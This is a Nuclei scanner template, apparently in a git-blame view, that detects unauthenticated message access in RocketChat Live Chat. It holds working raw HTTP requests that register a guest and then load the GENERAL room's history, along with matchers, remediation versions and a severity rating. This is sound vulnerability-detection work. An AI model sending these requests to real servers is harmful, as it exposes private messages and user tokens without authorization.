nuclei-templates/http/vulnerabilities/rocketchat/unauth-message-read.yaml

55 lines
2.0 KiB
YAML
Raw Normal View History

2021-09-19 23:23:22 +00:00
id: rocketchat-unauth-access
2021-03-29 11:35:11 +00:00
2021-03-29 06:42:11 +00:00
info:
name: RocketChat Live Chat - Unauthenticated Read Access
2021-03-29 06:42:11 +00:00
author: rojanrijal
severity: high
description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
2023-10-14 11:27:55 +00:00
remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
reference:
- https://docs.rocket.chat/guides/security/security-updates
2022-06-01 11:44:10 +00:00
- https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-522
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: rocketchat,unauth
2023-07-20 07:43:09 +00:00
variables:
value: "{{to_lower(rand_text_alpha(5))}}"
user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
2023-10-14 11:27:55 +00:00
http:
2021-03-29 06:42:11 +00:00
- raw:
- |
POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
2023-07-20 07:43:09 +00:00
{"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"{{value}}\",\"name\":\"cve-2020-{{value}}\",\"email\":\"{{user_email}}\"}],\"id\":\"123\"}"}
2021-03-29 06:42:11 +00:00
- |
POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/json
2023-07-20 07:43:09 +00:00
{"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"{{value}}\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}
2021-03-29 06:42:11 +00:00
matchers-condition: and
matchers:
- type: word
2022-06-01 13:21:48 +00:00
part: body
2021-03-29 06:42:11 +00:00
words:
2021-03-29 11:35:11 +00:00
- '"{\"msg\":\"result\",\"result\":{\"messages\"'
- '"success":true'
condition: and
2022-06-01 13:21:48 +00:00
- type: status
status:
- 200
# digest: 4b0a0048304602210095085dc96a7cb508eefb70fb2096b11370550b5fc48bf2778a9fe85c1c1d2726022100e82787c9db9e4546b785b8bd5997137083fc5de11cfbde2b2f1b775a62ef1ce2:922c64590222798bb761d5b6d8e72950